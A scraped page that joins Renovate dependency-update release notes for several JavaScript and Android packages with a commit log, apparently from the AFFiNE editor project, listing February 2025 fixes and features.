| [com.android.tools.build:gradle](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.tools.build:gradle/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.tools.build:gradle/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.tools.build:gradle/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.tools.build:gradle/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.750.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37500-2025-02-17)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.749.0...v3.750.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.749.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37490-2025-02-14)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.744.0...v3.749.0)

##### Features

-   **client-s3:** Added support for Content-Range header in HeadObject response. ([5b15ad8](5b15ad8260))

</details>

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.16`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.15...7.2.16)

### [`v7.2.15`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7215-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.14...7.2.15)

### [`v7.2.14`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.13...7.2.14)

### [`v7.2.13`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7213-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.9...7.2.13)

### [`v7.2.9`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#729-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.8...7.2.9)

### [`v7.2.8`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#728-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.7...7.2.8)

### [`v7.2.7`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#727-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.6...7.2.7)

### [`v7.2.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#726-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.5...7.2.6)

### [`v7.2.5`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#725-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.4...7.2.5)

### [`v7.2.4`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#724-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.3...7.2.4)

### [`v7.2.3`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#723-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.2...7.2.3)

### [`v7.2.2`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#722-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.1...7.2.2)

### [`v7.2.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.0...7.2.1)

### [`v7.2.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#720-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.6...7.2.0)

##### Features

-   add ability to close webview from javascript on ios ([5034997](50349975e5))
-   add close function to unified javascript interface ([c3d9079](c3d9079cab))
-   close webview with window.AndroidInterface.close() from within ([c5eae97](c5eae97a6a))

##### Bug Fixes

-   add better doc for 2 way com ([171ea27](171ea27931))
-   add warning ([84470ae](84470ae1c3))
-   allow inline video ([1368f2a](1368f2a4f0))
-   better definition ([588cc88](588cc88438))
-   CICD ([ee7ef04](ee7ef0430a))
-   order of doc ([71d8923](71d8923996))
-   versions ([941aabe](941aabee33))

##### [7.1.6](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.5...7.1.6) (2025-02-02)

##### Bug Fixes

-   lint ([d3df47c](d3df47cfef))

##### [7.1.5](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.4...7.1.5) (2025-02-01)

##### Bug Fixes

-   build ([89cd832](89cd832f96))

##### [7.1.4](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.3...7.1.4) (2025-02-01)

##### Bug Fixes

-   remove READ_MEDIA_IMAGES ([e30874e](e30874ebe1))

##### [7.1.3](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.2...7.1.3) (2025-02-01)

##### Bug Fixes

-   async thread ([df0bb19](df0bb198a6))

##### [7.1.2](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.2) (2025-02-01)

##### Bug Fixes

-   Fixed back_arrow being displayed correctly instead of close_icon ([0516043](0516043312))
-   openWebView has stopped hiding the phone's status bar. ([465a035](465a03561f))
-   openWebView has stopped hiding the phone's status bar. ([6154e54](6154e5422c))
-   openWebView has stopped hiding the phone's status bar. ([ec6a9c2](ec6a9c2205))

##### [7.1.1](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.0...7.1.1) (2025-01-27)

</details>

<details>
<summary>dotansimha/graphql-code-generator (@&#8203;graphql-codegen/cli)</summary>

### [`v5.0.5`](https://redirect.github.com/dotansimha/graphql-code-generator/blob/HEAD/packages/graphql-codegen-cli/CHANGELOG.md#505)

[Compare Source](https://redirect.github.com/dotansimha/graphql-code-generator/compare/@graphql-codegen/cli@5.0.4...@graphql-codegen/cli@5.0.5)

##### Patch Changes

-   [#&#8203;10282](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10282) [`7d7760d`](7d7760d55c) Thanks [@&#8203;oprypkhantc](https://redirect.github.com/oprypkhantc)! - Fix watcher watching project root when schema URL is used

</details>

<details>
<summary>lit/lit (@&#8203;lit/context)</summary>

### [`v1.1.4`](https://redirect.github.com/lit/lit/blob/HEAD/packages/context/CHANGELOG.md#114)

[Compare Source](https://redirect.github.com/lit/lit/compare/@lit/context@1.1.3...7db8eadb285c2a55fe4aa78c491585e1e90d3b1c)

##### Patch Changes

-   [#&#8203;4734](https://redirect.github.com/lit/lit/pull/4734) [`0f535d48`](0f535d483b) Thanks [@&#8203;sorin-davidoi](https://redirect.github.com/sorin-davidoi)! - Avoid calling Event.composedPath() when it is not needed

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/exporter-prometheus)</summary>

### [`v0.57.2`](cbc912d67b...ac8641a5db)

[Compare Source](cbc912d67b...ac8641a5db)

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.55.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.55.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.54.0...8.55.0)

##### Important Changes

-   **chore(ci/v8): Switch lambda layer name to `SentryNodeServerlessSDKv8` ([#&#8203;15351](https://redirect.github.com/getsentry/sentry-javascript/pull/15351))**

The `SentryNodeServerlessSDK` AWS Lambda Layer will stop receiving updates.
If you intend to stay on `v8` and receive updates use `SentryNodeServerlessSDKv8` instead.

##### Other Changes

-   feat(flags/v8): add Statsig browser integration ([#&#8203;15347](https://redirect.github.com/getsentry/sentry-javascript/pull/15347))
-   feat(v8/node): Add missing `vercelAIIntegration` export ([#&#8203;15339](https://redirect.github.com/getsentry/sentry-javascript/pull/15339))
-   feat(v8/nuxt): Add `enabled` to disable Sentry module ([#&#8203;15337](https://redirect.github.com/getsentry/sentry-javascript/pull/15337)) ([#&#8203;15381](https://redirect.github.com/getsentry/sentry-javascript/issues/15381))
-   feat(v8/vue): Support Pinia v3 ([#&#8203;15384](https://redirect.github.com/getsentry/sentry-javascript/pull/15384))
-   fix(astro): Add vue to `registerEsmLoaderHooks` ([#&#8203;15352](https://redirect.github.com/getsentry/sentry-javascript/pull/15352))
-   fix(react/v8): Support lazy-loaded routes and components ([#&#8203;15281](https://redirect.github.com/getsentry/sentry-javascript/pull/15281))
-   fix(v8/nuxt): Detect Azure Function runtime for flushing with timeout ([#&#8203;15297](https://redirect.github.com/getsentry/sentry-javascript/pull/15297))
-   fix(v8/solidstart): Do not copy release-injection map file ([#&#8203;15304](https://redirect.github.com/getsentry/sentry-javascript/pull/15304))
-   fix(v8/svelte): Guard component tracking `beforeUpdate` call ([#&#8203;15262](https://redirect.github.com/getsentry/sentry-javascript/pull/15262))

Work in this release was contributed by [@&#8203;aryanvdesh](https://redirect.github.com/aryanvdesh). Thank you for your contribution!

##### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.3 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 23.17 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.9 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.27 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 66.71 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.57 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.51 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.91 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.71 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.98 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.71 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.58 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.75 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.46 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.6 KB   |
| CDN Bundle (incl. Tracing, Replay)                               | 72.9 KB   |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.23 KB  |
| CDN Bundle - uncompressed                                        | 71.92 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.52 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.78 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.88 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.96 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.4 KB   |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.85 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 99.14 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 131.23 KB |

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.5.6`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#856)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.5...v8.5.6)

-   Builder-Vite: Fix defaulting to allowing all hosts - [#&#8203;30523](https://redirect.github.com/storybookjs/storybook/pull/30523), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   UI: Fix tags sort for browser back-compat - [#&#8203;30547](https://redirect.github.com/storybookjs/storybook/pull/30547), thanks [@&#8203;shilman](https://redirect.github.com/shilman)!

### [`v8.5.5`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#855)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.4...v8.5.5)

-   Builder-Vite: Fix Turbosnap - [#&#8203;30522](https://redirect.github.com/storybookjs/storybook/pull/30522), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.17`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11017---2025-02-18)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.16...v1.10.17)

##### Bug Fixes

-   **(deps)** Update cargo (patch) ([#&#8203;10021](https://redirect.github.com/swc-project/swc/issues/10021)) ([ffb7734](ffb77342d9))

-   **(typescript)** Improve type inferring for undefined and null ([#&#8203;10038](https://redirect.github.com/swc-project/swc/issues/10038)) ([5059ece](5059ece95a))

-   **(typescript)** Remove the usages of private members ([#&#8203;10037](https://redirect.github.com/swc-project/swc/issues/10037)) ([8410b59](8410b59621))

##### Performance

-   **(hstr)** Use thin arc for hash and length ([#&#8203;10033](https://redirect.github.com/swc-project/swc/issues/10033)) ([2bea793](2bea793bf3))

-   **(hstr)** Skip interning if the text is long enough ([#&#8203;10035](https://redirect.github.com/swc-project/swc/issues/10035)) ([2622e4e](2622e4e1d0))

##### Testing

-   **(hstr)** Add tests ([#&#8203;10043](https://redirect.github.com/swc-project/swc/issues/10043)) ([32b58f0](32b58f0b21))

-   **(ts/fast-strip)** Add tests for `declare module` error cases ([#&#8203;10040](https://redirect.github.com/swc-project/swc/issues/10040)) ([37672e0](37672e024e))

### [`v1.10.16`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11016---2025-02-13)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.15...v1.10.16)

##### Bug Fixes

-   **(es/minifier)** Check assign target before merge assign cond ([#&#8203;10020](https://redirect.github.com/swc-project/swc/issues/10020)) ([6dab49a](6dab49a07c))

-   **(es/parser)** Preserve comment positions with leading semicolon ([#&#8203;10019](https://redirect.github.com/swc-project/swc/issues/10019)) ([c9937b6](c9937b65bf))

-   **(swc_common)** Fix panic with non-narrow chars with width != 2 ([#&#8203;10011](https://redirect.github.com/swc-project/swc/issues/10011)) ([f9f4cac](f9f4cac0e5))

-   **(ts/fast-strip)** Handle unsupported `module` keyword ([#&#8203;10022](https://redirect.github.com/swc-project/swc/issues/10022)) ([308f5d0](308f5d03c7))

##### Performance

-   **(es/codegen)** Reduce allocation using `compact_str` ([#&#8203;10008](https://redirect.github.com/swc-project/swc/issues/10008)) ([7d7319f](7d7319f248))

</details>

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.6`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.6)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.5...v3.0.6)

#####    🐞 Bug Fixes

-   Fix `getMockedSystemTime` for `useFakeTimer`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7405](https://redirect.github.com/vitest-dev/vitest/issues/7405) [<samp>(03912)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/03912b43)
-   Compat for jest-image-snapshot  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7390](https://redirect.github.com/vitest-dev/vitest/issues/7390) [<samp>(9542b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9542b699)
-   Ensure project names are readable in dark terminals  -  by [@&#8203;rgrove](https://redirect.github.com/rgrove) in [https://github.com/vitest-dev/vitest/issues/7371](https://redirect.github.com/vitest-dev/vitest/issues/7371) [<samp>(bb94c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bb94c19f)
-   Exclude `queueMicrotask` from default fake timers to not break node fetch  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7505](https://redirect.github.com/vitest-dev/vitest/issues/7505) [<samp>(167a9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/167a98d7)
-   **browser**:
    -   Fix mocking modules out of root  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7415](https://redirect.github.com/vitest-dev/vitest/issues/7415) [<samp>(d3acb)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d3acbd8b)
    -   Fix `toHaveClass` typing  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7383](https://redirect.github.com/vitest-dev/vitest/issues/7383) [<samp>(7ef23)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7ef238c0)
    -   Relax locator selectors methods  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7422](https://redirect.github.com/vitest-dev/vitest/issues/7422) [<samp>(1b8c5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1b8c5c9e)
    -   Resolve thread count from `maxWorkers`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7483](https://redirect.github.com/vitest-dev/vitest/issues/7483) [<samp>(adbb2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/adbb25ab)
    -   Cleanup timeout on resolve and give more information in the error  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7487](https://redirect.github.com/vitest-dev/vitest/issues/7487) [<samp>(5a45a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5a45a7ca)
-   **coverage**:
    -   `vite-node` to pass correct execution wrapper offset  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7417](https://redirect.github.com/vitest-dev/vitest/issues/7417) [<samp>(1f2e5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1f2e5552)
    -   Preserve moduleExecutionInfo in non-isolated runs  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7486](https://redirect.github.com/vitest-dev/vitest/issues/7486) [<samp>(f31a0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f31a07bb)
-   **deps**:
    -   Update all non-major dependencies  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)
2025-02-18 15:14:03 +00:00
Saul-Mirone
2f04e3180c refactor: move utils and cleanup test helpers (#10261) 2025-02-18 14:03:51 +00:00
Saul-Mirone
faf6e2c79f refactor(editor): optimize store map (#10246) 2025-02-18 13:30:09 +00:00
donteatfriedrice
15e9acefc2 fix(editor): paste when select multiple block texts (#10227)
[BS-2512](https://linear.app/affine-design/issue/BS-2512/选中多段粘贴,多段只有第一段会被replace,这个bug还在)
2025-02-18 12:13:55 +00:00
darkskygit
176e0a1950 fix: raw body limit (#10254) 2025-02-18 11:34:58 +00:00
liuyi
4c7eedb920 fix(server): body parser limit (#10260) 2025-02-18 10:48:29 +00:00
doouding
c21f71f58c feat: add dnd database preview block (#10258) 2025-02-18 10:25:00 +00:00
doouding
75678ceca8 fix: allow to drop inside the note block in edgeless mode (#10255) 2025-02-18 10:24:59 +00:00
forehalo
cd00f06b77 chore(core): track otp usage (#10248)
close AF-2235
2025-02-18 10:10:27 +00:00
pengx17
cb15d48b82 chore(core): more setting telemetry events (#10194) 2025-02-18 09:55:00 +00:00
pengx17
78346be4fe fix(electron): update settings styles (#10193) 2025-02-18 09:54:59 +00:00
Flrande
13834dd09a fix(editor): display heading icon all time (#10256) 2025-02-18 09:39:26 +00:00
L-Sun
4e546c78ef chore(core): remove template doc feature flag (#10252) 2025-02-18 09:25:06 +00:00
L-Sun
e639f08b71 chore(editor): remove page block feature flag (#10251) 2025-02-18 09:25:05 +00:00
Flrande
cedee0a1b2 fix(editor): split at the start of list with children (#10244) 2025-02-18 09:10:00 +00:00
pengx17
0ed8b4f46a fix(core): center peek button bg color (#10225)
fix AF-2026
2025-02-18 08:55:49 +00:00
doouding
88095a87a8 fix: create linked-doc block when content can't be drop as gfx block (#10250) 2025-02-18 08:40:57 +00:00
Aki Chang
3f4b7ec51e feat(android): integrate web api & native AI chat button (#10239) 2025-02-18 16:23:25 +08:00
EYHN
892fd16f52 fix(core): fix ios cloud sync (#10243) 2025-02-18 08:12:49 +00:00
doouding
73f3226f58 fix: drag paragraph block from note to edgeless (#10242) 2025-02-18 07:30:00 +00:00
doouding
0af921c3fc fix: edgeless drag handle position (#10241) 2025-02-18 07:29:59 +00:00
forehalo
51e842000a fix(server): pagination input parser (#10245) 2025-02-18 07:15:51 +00:00
forehalo
da67c78152 feat(server): use job system (#10218) 2025-02-18 05:41:57 +00:00
forehalo
cb895d4cb0 feat(server): job system (#10134) 2025-02-18 05:41:57 +00:00
CatsJuice
f6a86c10fe fix(editor): edgeless toolbar basket not visible in firefox (#10232) 2025-02-18 04:52:52 +00:00
Saul-Mirone
c3e924d4cb refactor(editor): move export manager to surface block extensions (#10231) 2025-02-18 04:39:05 +00:00
forehalo
31f8e92a4b test(server): fix flaky cache tests (#10238) 2025-02-18 04:25:23 +00:00
donteatfriedrice
e67fd67a3c fix(core): copy more button group style (#10240) 2025-02-18 04:07:59 +00:00
forehalo
a303455ded fix(server): default workspace avatar size (#10229) 2025-02-18 03:53:59 +00:00
forehalo
fdddaf651f chore(core): adjust selfhost sign in ui (#10226)
close AF-2227
2025-02-18 03:38:01 +00:00
fengmk2
bae1a7f2ac fix(server): log error on gcloud (#10235) 2025-02-18 03:21:31 +00:00
akumatus
b2654ffec7 feat(core): add 100k tokens limit for the docs context (#10211)
Support issue [BS-2352](https://linear.app/affine-design/issue/BS-2352).

![截屏2025-02-16 21.32.16.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/813b2f67-918b-4c61-ba2e-b5066792a4fd.png)
2025-02-18 02:33:50 +00:00
akumatus
015452e8fb fix(core): unable to explain image when network search is active (#10228)
Fix issue [PD-2316](https://linear.app/affine-design/issue/PD-2316).
2025-02-18 02:20:21 +00:00
doouding
eed00e0b26 fix: mindmap ai preview (#10222) 2025-02-17 12:45:20 +00:00
Flrande
5748591bc5 fix(editor): width and height of embed block (#10223) 2025-02-17 10:37:05 +00:00
zzj3720
e4f2223a2a fix(editor): table block readonly support (#10224)
close: BS-2597
2025-02-17 10:19:00 +00:00
JimmFly
29d8824479 fix(core): handle unexpected hits to paywalls (#10215)
close AF-2232

fix(core): handle unexpected hits to paywalls

chore: remove sent email action
2025-02-17 08:04:33 +00:00
fundon
6dc1fefa33 fix(editor): video style in edgeless (#10198)
### Before

![Screenshot 2025-02-14 at 17.51.29.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/202ce9f9-3dc9-4063-aab9-68a22d5ee5ff.png)

### After

![Screenshot 2025-02-14 at 17.51.46.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/8ypiIKZXudF5a0tIgIzf/47fd729b-cad3-4ea1-8f9e-eefbc2652f88.png)
2025-02-17 06:50:02 +00:00
CatsJuice
f369a8dca0 feat(core): add link to template tutorial (#10189) 2025-02-17 06:34:59 +00:00
fengmk2
57213781a8 refactor(server): dont convert graphql bad request into internal server error (#10203) 2025-02-17 06:17:00 +00:00
fundon
34472fdfa9 fix(editor): make std stable in affine-link and affine-reference (#10207) 2025-02-17 05:09:53 +00:00
aki-chang-dev
642559df4b fix(android): edge to edge compatibility for capacitor7 (#10191) 2025-02-17 04:42:02 +00:00
fundon
378007da81 chore(editor): no need to cache attachment embed config map (#10197)
### What's Changed!

* no need to cache attachment embed config map
2025-02-17 04:21:00 +00:00
donteatfriedrice
594224e3b4 feat(editor): support to copy in preview root block (#10214)
[BS-2590](https://linear.app/affine-design/issue/BS-2590/ai-chat-panel-的-copy-code-不-work-了) [BS-2550](https://linear.app/affine-design/issue/BS-2550/chat-panel-内的内容复制粘贴到-affine-编辑器时-时没办法保留格式)
2025-02-17 04:07:10 +00:00
EYHN
691daaa7e8 fix(core): fix the permission check in peek view (#10213) 2025-02-17 03:51:54 +00:00
akumatus
9418a89ae9 feat(core): auto collapse ai chips (#10209)
Support issue [BS-2545](https://linear.app/affine-design/issue/BS-2545).

Automatically collapse the AI chips when starting a new chat.

![截屏2025-02-16 19.07.05.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/eac6f760-3b07-410d-863c-9f15c99df58a.png)
2025-02-17 03:38:07 +00:00
L-Sun
85e413f8c8 chore(editor): add telemetry track to display mode of note (#10192)
Close [BS-2468](https://linear.app/affine-design/issue/BS-2468/analytics-for-page-block-polish)
2025-02-17 03:23:55 +00:00
doodlewind
1476ca922b refactor(editor): simplify worker renderer message and canvas transfer (#10199)
- Fixed frame delay on panning.
- Removed redundant worker message.
- Removed redundant offscreen bitmap transfer.
- Refactored logic using a clearer `refresh` method entry.
- Extracted plain utils.
2025-02-17 02:35:28 +00:00
CatsJuice
04cb303535 fix(core): prevent text wrapping in starter bar badge (#10157) 2025-02-16 08:31:11 +00:00
CatsJuice
b5ba17c464 chore(core): disallow closing auth modal for clicking outside and escape (#10156) 2025-02-16 08:14:12 +00:00
doouding
8ece812017 feat: dnd image preview && edgeless dnd preview issue (#10177)
### Changed
- Add new image block to render dnd preview
- Fixed the bug that dragging uploaded image does not have width and height
- Fixed the bug that drag image block from page to edgeless does not have width and height
- Better edgeless dnd preview
2025-02-14 16:02:03 +00:00
akumatus
631c8b8145 refactor(core): lazy create copilot session and context (#10170) 2025-02-14 14:48:46 +00:00
donteatfriedrice
5a42edf076 fix(core): copy more button style (#10196)
[AF-2228](https://linear.app/affine-design/issue/AF-2228/ui-bug-retry-和-copy-的按钮颜色不一致)
2025-02-14 13:22:27 +00:00
donteatfriedrice
e6b570e613 feat(core): support network search in chat block center peek (#10186)
[BS-2582](https://linear.app/affine-design/issue/BS-2582/chat-block-center-peek-支持-network-search)
2025-02-14 12:43:31 +00:00
zzj3720
b6f8027e1b fix(editor): extra line breaks and spaces when parsing table from html (#10190)
close: BS-2562, BS-2569
2025-02-14 12:13:00 +00:00
L-Sun
35aec95022 chore(editor): adjust margin of edgeless page block title (#10188)
![CleanShot 2025-02-14 at 16.01.33@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/27b561ef-1363-4e9c-97ee-6cd83aa98fdd.png)

![CleanShot 2025-02-14 at 16.01.48@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/6751c51b-58bb-4d33-bf34-b4df5c992dce.png)
2025-02-14 11:44:00 +00:00
forehalo
3dde47dd08 fix(server): event handler bindings (#10165) 2025-02-14 11:29:03 +00:00
darkskygit
42e0563d2e feat: filter out session create request for root doc (#10187) 2025-02-14 11:14:57 +00:00
Saul-Mirone
d111f8ac88 feat(editor): add WidgetViewExtension (#10180)
Closes: [BS-2282](https://linear.app/affine-design/issue/BS-2282/replace-widgetviewmapextension-with-widgetextension)
2025-02-14 11:00:01 +00:00
Flrande
9dc81ecb99 fix(editor): increase edgeless text init min width (#10051) 2025-02-14 10:46:00 +00:00
JimmFly
9048b38069 fix(core): adjust share menu (#10164)
close AF-2218 AF-2215 AF-2221
2025-02-14 10:32:12 +00:00
JimmFly
36800f2d24 fix(core): adjust the redirection path for retrying payments when self-hosting (#10181) 2025-02-14 10:18:00 +00:00
forehalo
cc6fdef10e chore(electron): remove offline mode (#10152)
close AF-2177
2025-02-14 10:04:01 +00:00
darkskygit
981b4efecf feat(server): worker improve (#10176)
fix AF-2225
2025-02-14 09:47:57 +00:00
akumatus
1bf1832211 refactor(core): get copilot sessions api (#10168)
Fix issue [BS-2575](https://linear.app/affine-design/issue/BS-2575).

### What Changed?
- Refactor `getCopilotSessions` api.
  - Add `docId` parameter.
  - Add `action` parameter.
